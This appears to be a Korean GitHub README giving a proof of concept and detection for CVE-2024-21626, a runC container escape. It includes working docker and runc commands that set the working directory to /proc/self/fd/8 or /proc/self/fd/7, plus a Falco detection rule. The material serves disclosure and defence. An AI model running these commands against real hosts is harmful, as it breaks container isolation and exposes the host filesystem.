nitrocao/cve-2024-21626CVE-2024-21626에 대한 PoC 및 탐지
이 취약점에 대한 자세한 설명은 제 글을 참조하세요.
사용자 정의 이미지를 빌드할 필요 없이 -w 매개변수로 컨테이너를 실행하기만 하면 됩니다:
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo
익스플로잇은 다음과 같은 특징을 가집니다:
/proc/self/fd/로 시작하는 특수 작업 디렉터리로 프로세스를 execve(2)합니다./proc/self/fd/로 시작하는 특수 대상 디렉터리 링크로 symlink(2) 또는 symlinkat(2)를 통해 심볼릭 링크를 생성합니다./proc/\d+/cwd/.*와 같은 파일 이름으로 open(2), openat(2) 또는 openat2(2)를 통해 파일을 엽니다.https://github.com/snyk/leaky-vessels-dynamic-detector
다음은 사용자 정의 Falco 규칙입니다:
- macro: container
condition: (container.id != host and container.name exists)
- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
desc: >
Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
condition: >
container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
priority: CRITICAL
하지만 proc.name으로 거짓 긍정을 필터링하는 것은 좋은 생각이 아닙니다.
